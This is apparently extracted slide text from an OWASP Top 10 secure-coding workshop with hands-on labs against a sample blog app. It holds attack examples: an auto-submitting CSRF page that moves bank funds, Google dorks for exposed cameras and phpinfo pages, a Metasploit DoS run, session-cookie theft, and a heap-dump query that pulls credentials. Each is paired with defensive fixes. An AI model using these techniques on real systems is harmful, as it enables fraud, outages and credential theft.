12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E



12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E



12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E



12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

65.19.146.2 submitted html ad links298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E

12.181.243.2 normal traffic298CA77D3D283858D4C59D7D14A1182E



Log
per request 

username 
ip 
requested url 

every log entry 
request id (generate) 
session id (hash)



Broken Authentication Lab

1. Uncomment code in ninja.wordy.blog.Application to 
turn off httpOnly 

2. Run in embedded mode only 
3. Use inspect console to grab session cookies 

Optional: download and use portero and XSS to hijack 
session



4. Insecure Direct Object References

A direct object reference occurs when a developer exposes a 
reference to an internal implementation object, such as a file, 
directory, or database key. Without an access control check or 
other protection, attackers can manipulate these references to 
access unauthorized data.



http://www.site.net?customer_id=25



http://peepandthebigwideworld.com/en/kids/videos/



Validate user has permission 
Use UUIDs or other non repetitious ids



5. Security Misconfiguration

Good security requires having a secure configuration defined 
and deployed for the application, frameworks, application 
server, web server, database server, and platform. Secure 
settings should be defined, implemented, and maintained, as 
defaults are often insecure. Additionally, software should be 
kept up to date.





inurl:ViewerFrame?Mode=Motion or  inurl:main.cgi linksys





<session-config> 
<tracking-mode>COOKIE</tracking-mode> 

</session-config>



disable cookies and determine if session data is written to url



Securing <app server>

run as dedicated user (not root) 
change default users & passwords 
remove unnecessary applications 
disable auto deploy 
configure error responses 
set up to date on versions



look up your app server security best practices and validate them



Security Misconfiguration Lab

1. Run Wordy Ninja Blog in Tomcat 
1. cd ~/workspaces/apache-tomcat-8.0.1 
2. bin/startup.sh 
3. http://localhost:9090 

2. Determine if an attacker can stop the app 
3. Determine if only necessary apps are running 
4. Remove any unnecessary apps



6. Sensitive Data Exposure

Many web applications do not properly protect sensitive data, 
such as credit cards, tax IDs, and authentication credentials. 
Attackers may steal or modify such weakly protected data to 
conduct credit card fraud, identity theft, or other crimes. 
Sensitive data deserves extra protection such as encryption at 
rest or in transit, as well as special precautions when 
exchanged with the browser.



http://arstechnica.com/security/2015/10/patreon-was-warned-of-serious-website-flaw-5-days-before-it-was-hacked/



https://www.shodan.io





don’t broad cast your technology stack





$ curl -I https://www.google.com 
HTTP/1.1 200 OK 
Date: Tue, 21 Jul 2015 12:38:35 GMT 
Expires: -1 
Cache-Control: private, max-age=0 
Content-Type: text/html; charset=ISO-8859-1 
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/
bin/answer.py?hl=en&answer=151657 for more info." 
Server: gws 
X-XSS-Protection: 1; mode=block 
X-Frame-Options: SAMEORIGIN 
Set-Cookie: 
PREF=ID=1111111111111111:FF=0:TM=1437482315:LM=1437482315:V=1:S=ravPRMTmm-2KfqwG
; expires=Thu, 20-Jul-2017 12:38:35 GMT; path=/; domain=.google.com 
Set-Cookie: NID=69=BUV_-6Ya2OvWq5cP5bv30pl7WM6Blf-
b12WcLW9_QTG6tJGtbnk5E7wPsrqiyPeM1HG-Bg7O2gW01fdPn-
V1bZn4j5dhfURl4aOE7vtZY5fUdskatGCOJv6f5-uci-LY; expires=Wed, 20-Jan-2016 
12:38:35 GMT; path=/; domain=.google.com; HttpOnly 
Alternate-Protocol: 443:quic,p=1 
Transfer-Encoding: chunked 
Accept-Ranges: none 
Vary: Accept-Encoding







<Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" 
               server="Not telling ;)"
               />



<Connector port="8080" protocol="HTTP/1.1"
               connectionTimeout="20000"
               redirectPort="8443" 
               server="Not telling ;)"
               />











{"posts":[{"title": "Java Rocks!!!","content":"Groovy is better!!!!!!","author":
[{"firstName":"Chris","lastName":"Judd","username":"cjudd","password":"7b24afc8bc80e548d
66c4e7ff72171c5"}]},{"title":"Tip: Causes of 
java.lang.ClassNotFoundException","content": "Class loading issues are a common 
frustration for many Java developers. The dreaded java.langClassNotFoundException means 
they can forget about going home at a reasonable hour. While Java class loading is very 
powerful feature, it is also a very flexible and confusing feature. But don’t let this 
exception scare you. The majority of the time, there are three very practical things to 
look at in order to resolve the issue.","author":
[{"firstName":"Jim","lastName":"Shingler","username":"jshingler","password":"7c6a180b368
96a0a8c02787eeafb0e4c"}]}]}



{ 
 "posts": [{ 
  "title": "Java Rocks!!!", 
  "content": "Groovy is better!!!!!!", 
  "author" : [{ 
   "firstName" : "Chris", 
   "lastName" : "Judd", 
   "username" : "cjudd", 
   "password" : "7b24afc8bc80e548d66c4e7ff72171c5" 
  } 
  ] 
 }, { 
  "title": "Tip: Causes of java.lang.ClassNotFoundException", 
  "content": "Class loading issues are a common frustration for many Java 
developers. The dreaded java.langClassNotFoundException means they can forget about 
going home at a reasonable hour. While Java class loading is very powerful feature, it 
is also a very flexible and confusing feature. But don’t let this exception scare you. 
The majority of the time, there are three very practical things to look at in order to 
resolve the issue.", 
  "author" : [{ 
   "firstName" : "Jim", 
   "lastName" : "Shingler", 
   "username" : "jshingler", 
   "password" : "7c6a180b36896a0a8c02787eeafb0e4c" 
  } 
  ] 
 }] 
}



"author" : [{ 
"firstName" : “Chris", 
"lastName" : "Judd", 
"username" : "cjudd", 
"password" : "7b24afc8bc80e548d66c4e7ff72171c5" 

}] 

"author" : [{ 
"firstName" : "Jim", 
"lastName" : "Shingler", 
"username" : "jshingler", 
"password" : "7c6a180b36896a0a8c02787eeafb0e4c" 

}]

http://www.hashkiller.co.uk/





inurl:phpinfo.php



inurl:phpinfo.php



Sensitive Data Exposure Lab

1. Run Wordy Ninja Blog in Tomcat 
2. Determine server type 
3. Look up vulnerabilities for server type at https://

cvedetails.com 
4. Change server type 
5. Add error pages that don’t expose information



7. Missing Function Level Access Control

Most web applications verify function level access rights 
before making that functionality visible in the UI. However, 
applications need to perform the same access control checks 
on the server when each function is accessed. If requests are 
not verified, attackers will be able to forge requests in order to 
access functionality without proper authorization.



Missing Functional Level Access 
Control Lab

1. Login as a blogger and notice the menu 
2. Login as a non blogger and notice the menu 
3. Create a blog post as a non blogger 
4. Add a security check 

• Spring Security annotation 
• programatic check



8. Cross-Site Request Forgery (CSRF)

A CSRF attack forces a logged-on victim’s browser to send a 
forged HTTP request, including the victim’s session cookie and 
any other automatically included authentication information, to 
a vulnerable web application. This allows the attacker to force 
the victim’s browser to generate requests the vulnerable 
application thinks are legitimate requests from the victim.



8. Cross-Site Request Forgery (CSRF)

https://mybank.com/login

JSESSIONID=5A18405AB0190D4BFD0C3BE8F643575D

https://mybank.com/login


8. Cross-Site Request Forgery (CSRF)

JSESSIONID=5A18405AB0190D4BFD0C3BE8F643575D



8. Cross-Site Request Forgery (CSRF)

JSESSIONID=5A18405AB0190D4BFD0C3BE8F643575D



8. Cross-Site Request Forgery (CSRF)

JSESSIONID=5A18405AB0190D4BFD0C3BE8F643575D

https://freeiphoneattack.com

<html>  
<head>  
  <title>Free iPHone</title>  
</head>  
 
<body onload="javascript:fireForms()">  
 function fireForms() { 
    var count = 1;  
    var i=0;  
 
    for(i=0; i<count; i++){ 
      document.forms[i].submit();  
    }  
  } 
 
</script>  
<H2>Free iPhone</H2>  
<form method="POST" name="form0" action=“https://mybank.com/transferfunds“>  
  <input type="hidden" name="account" value="1234"/> 
  <input type="hidden" name="funds" value=“$1,000,000”/> 
</form>  
 
</body>  
</html>

https://freeiphoneattack.com


8. Cross-Site Request Forgery (CSRF)

JSESSIONID=5A18405AB0190D4BFD0C3BE8F643575D

https://mybank.com/transferfunds

<html>  
<head>  
  <title>Free iPHone</title>  
</head>  
 
<body onload="javascript:fireForms()">  
 function fireForms() { 
    var count = 1;  
    var i=0;  
 
    for(i=0; i<count; i++){ 
      document.forms[i].submit();  
    }  
  } 
 
</script>  
<H2>Free iPhone</H2>  
<form method="POST" name="form0" action=“https://mybank.com/transferfunds“>  
  <input type="hidden" name="account" value="1234"/> 
  <input type="hidden" name="funds" value=“$1,000,000”/> 
</form>  
 
</body>  
</html>





https://www.owasp.org/index.php/CSRFTester#Downloads

https://www.owasp.org/index.php/CSRFTester#Downloads


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">  
 
<html>  
<head>  
  <title>OWASP CRSFTester Demonstration</title>  
</head>  
 
<body onload="javascript:fireForms()">  
<script language="JavaScript">  
  var pauses = new Array( "5" );  
 
  function pausecomp(millis) 
  { 
    var date = new Date();  
    var curDate = null;  
 
    do { curDate = new Date(); }  
    while(curDate-date < millis);  
  }  
 
  function fireForms()  
  { 
    var count = 1;  
    var i=0;  
 
    for(i=0; i<count; i++) 
    { 
      document.forms[i].submit();  
 
      pausecomp(pauses[i]);  
    }  
  } 
 
</script>  
<H2>OWASP CRSFTester Demonstration</H2>  
<form method="POST" name="form0" action="http://localhost:9000/post">  
  <input type="hidden" name="title" value="fun"/> 
  <input type="hidden" name="content" value="fun"/> 
</form>  
 
</body>  
</html>



CSRF token 
Headers 

X-XSS-Protection 
X-Frame-Options



<form action="/login" method="post">  
 
    <div class="form-group">  
      <label for="username">Username</label>  
      <input type="text" class="form-control" id="username" name="username" placeholder="Username">  
    </div>  
    <div class="form-group">  
      <label for="password">Password</label>  
      <input type="password" class="form-control" id="password" name="password" placeholder="Password">  
    </div>  
    <button type="submit" class="btn btn-default">Log In</button>  
    <input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}" /> 
 
</form>



<form action="/login" method="post">  
 
  <div class="form-group">  
    <label for="username">Username</label>  
    <input type="text" class="form-control" id="username" name="username" placeholder="Username">  
  </div>  
  <div class="form-group">  
    <label for="password">Password</label>  
    <input type="password" class="form-control" id="password" name="password" placeholder="Password">  
  </div>  
  <button type="submit" class="btn btn-default">Log In</button>  
  <input type="hidden" name="_csrf" value="028db9b3-b928-4188-95c0-5942dd94a935">  
 
</form>



Cross-Site Request Forgery (CSRF) token

https://mybank.com/login 
_csrf=028db9b3-b928-4188-95c0-5942dd94a935

JSESSIONID=5A18405AB0190D4BFD0C3BE8F643575D 
_csrf=028db9b3-b928-4188-95c0-5942dd94a935

form value

Validate Token

hidden form field value



$ curl -I https://www.google.com 
HTTP/1.1 200 OK 
Date: Tue, 21 Jul 2015 12:38:35 GMT 
Expires: -1 
Cache-Control: private, max-age=0 
Content-Type: text/html; charset=ISO-8859-1 
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/
bin/answer.py?hl=en&answer=151657 for more info." 
Server: gws 
X-XSS-Protection: 1; mode=block 
X-Frame-Options: SAMEORIGIN 
Set-Cookie: 
PREF=ID=1111111111111111:FF=0:TM=1437482315:LM=1437482315:V=1:S=ravPRMTmm-2KfqwG
; expires=Thu, 20-Jul-2017 12:38:35 GMT; path=/; domain=.google.com 
Set-Cookie: NID=69=BUV_-6Ya2OvWq5cP5bv30pl7WM6Blf-
b12WcLW9_QTG6tJGtbnk5E7wPsrqiyPeM1HG-Bg7O2gW01fdPn-
V1bZn4j5dhfURl4aOE7vtZY5fUdskatGCOJv6f5-uci-LY; expires=Wed, 20-Jan-2016 
12:38:35 GMT; path=/; domain=.google.com; HttpOnly 
Alternate-Protocol: 443:quic,p=1 
Transfer-Encoding: chunked 
Accept-Ranges: none 
Vary: Accept-Encoding





POST /logout HTTP/1.1 
Host: localhost:8080 
Connection: keep-alive 
Content-Length: 2 
Accept: application/json, text/plain, */* 
Origin: http://localhost:8080 
X-Requested-With: XMLHttpRequest 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/48.0.2564.116 Safari/537.36 
Content-Type: application/json;charset=UTF-8 
Referer: http://localhost:8080/ 
Accept-Encoding: gzip, deflate 
Accept-Language: en-US,en;q=0.8,pt;q=0.6 
Cookie: JSESSIONID=6C8329FA2171EBA88B3AF2E404AEB293

{
"timestamp": 1457100055677,
"status": 403,
"error": "Forbidden",
"message": "Expected CSRF token not found. Has your session expired?",
"path": "/logout"

}



Angular CSRF token solution

https://mybank.com/login 

JSESSIONID=5A18405AB0190D4BFD0C3BE8F643575D 
XSRF-TOKEN=1a9dae8d-3e77-443a-8860-f3dff240fb7b

https://mybank.com/login


https://mybank.com/login 

JSESSIONID=5A18405AB0190D4BFD0C3BE8F643575D 
XSRF-TOKEN=1a9dae8d-3e77-443a-8860-f3dff240fb7b

cookie

Angular CSRF token solution

https://mybank.com/login


https://mybank.com/anotherpost 
X-XSRF-TOKEN:1a9dae8d-3e77-443a-8860-f3dff240fb7b

JSESSIONID=5A18405AB0190D4BFD0C3BE8F643575D 
XSRF-TOKEN=1a9dae8d-3e77-443a-8860-f3dff240fb7b

post

cookie

Angular CSRF token solution



https://mybank.com/anotherpost 
X-XSRF-TOKEN:1a9dae8d-3e77-443a-8860-f3dff240fb7b

JSESSIONID=5A18405AB0190D4BFD0C3BE8F643575D 
XSRF-TOKEN=1a9dae8d-3e77-443a-8860-f3dff240fb7b

post header

cookie

Angular CSRF token solution



CSRF Lab

1. Run OWASP CSRFTester 
1. cd ~/workspaces/CSRFTester-1.0 
2. java -cp lib/concurrent.jar:OWASP-

CSRFTester-1.0.jar 
org.owasp.csrftester.CSRFTester 

2. Generate a CSRF attack page for the post 
3. Reenable CSRF feature in Spring Security 
4. Add X-XSS-Protection and X-Frame-Options headers



9. Using Components with Known Vulnerabilities

Components, such as libraries, frameworks, and other 
software modules, almost always run with full privileges. If a 
vulnerable component is exploited, such an attack can 
facilitate serious data loss or server takeover. Applications 
using components with known vulnerabilities may undermine 
application defenses and enable a range of possible attacks 
and impacts.



http://cve.mitre.org/



http://www.cvedetails.com/





http://cwe.mitre.org/



https://nvd.nist.gov

https://nvd.nist.gov


http://www.kb.cert.org/vuls/



http://osvdb.org/





How do you know if 
your vulnerable?



http://www.sonatype.com/assessments/application-health-check













run an application health check 



 ____________ 
< metasploit > 
 ------------ 
       \   ,__, 
        \  (oo)____ 
           (__)    )\ 
              ||--|| * 

tool and database of exploits and vulnerabilities























Metasploit Lab

1. Run auxiliary/dos/http/apache_commons_fileupload_dos 
2. Refresh 
3. Repeat until DoS occurs



10. Unvalidated Redirects and Forwards

Web applications frequently redirect and forward users to 
other pages and websites, and use untrusted data to 
determine the destination pages. Without proper validation, 
attackers can redirect victims to phishing or malware sites, or 
use forwards to access unauthorized pages.



https://www.computest.nl/blog/startencrypt-considered-harmful-today/



other



heap dump

jmap -dump:format=b,file=heapdump.hprof



heap dump
jmap -dump:format=b,file=heapdump.hprof





select {user: u.username, password: u.password} from 
org.springframework.security.core.userdetails.User u



Heap Lab

1. Login as a couple of different users 
2. Perform a heap dump using jmap or visualvm 
3. Analyze the Classes to find the user class 
4. Write OCL to access all usernames and passwords



https://dzone.com/articles/point-of-viewwhy-the-java-serialization-vulnerabil

java deserialization vulnerability - ACED





will pollute data



Applications > Kali Linux > Top 10 Security Tools > owasp-zap















Attack > Active Scan site



Flag as Context > Form-based Auth Login request







Attack > Active Scan advanced…





Scanner Lab

1. Use ZAP to scan/attack



Summary



developers have to be 
right 100% of the time



developers have to be 
right 100% of the time

hackers only have to be right once











if exploited would it end up on the front 
page of the paper?



if exploited would it end up on the front 
page of the paper?

what impact would it have?



http://www.marketwatch.com/story/nyse-releases-a-cybersecurity-guide-for-public-companies-2015-10-14



Core Pillars of Information Security

Confidentiality – only allow access to data for which the user 
is permitted 
Integrity – ensure data is not tampered or altered by 
unauthorized users 
Availability – ensure systems and data are available to 
authorized users when they need it

https://www.owasp.org/index.php/Secure_Coding_Principles



Security Principals
Minimize attach surface area 
Establish secure defaults 
Least privilege 
Defense in depth 
Fail and recover securely 
Don’t trust (data, services or infrastructure) 
Separation of duties 
Avoid security by obscurity 
Keep security simple 
Fix security issues correctly 
Detect intrusions 
Assume nothing

https://www.owasp.org/index.php/Secure_Coding_Principles

http://www.zdnet.com/article/gary-mcgraw-10-steps-to-secure-software/



Practical Suggestions

Application Security Training 
Common Security Control Libraries 
Independent Verification of Security during Development 
Monitor Applications in Production 
C-Level Support



Resources



http://www.hdiv.org/









http://twit.tv/show/security-now











https://twitter.com/troyhunt



http://www.troyhunt.com/



https://haveibeenpwned.com/



http://www.bbc.com/news/technology-35642749



http://arstechnica.com/security/2015/11/police-body-cams-found-pre-installed-with-notorious-conficker-worm/





OWASP Books

1

4.0Testing Guide

Project Leaders: Matteo Meucci and Andrew Muller 
Creative Commons (CC) Attribution Share-Alike
Free version at http://www.owasp.org  

 

 

 

 
 
 
Application Security Verification Standard 3.0.1 
July 2016 

  



OWASP Cheat Sheets
Authentication 
Choosing and Using Security Questions 
Clickjacking Defence 
Cross-Site Request Forgery (CSRF) Prevention 
Cryptography Storage 
DOM based XSS Prevention 
Forgot Password 
HTML 5 Security 
Input Validation 
JAAS 
Logging 
Password Storage 
Pinning 
Query Parameterization 
REST Security 
Session Management 
SQL Injection Prevention 
Transport Layer Protection 
Unvalidated Redirects and Forwards 
User Privacy Protection 
Web Service Security 
XSS (Cross Site Scripting) Prevention

OWASP Cheat Sheets

Martin Woschek, owasp@jesterweb.de

April 9, 2015

https://www.owasp.org/index.php/Cheat_Sheets



https://www.owasp.org/index.php/OWASP_Chapter

OWASP User Groups



http://google-gruyere.appspot.com/



https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project



Attributions

Open Web Application Security Project (OWASP) - www.wasp.org

http://www.wasp.org

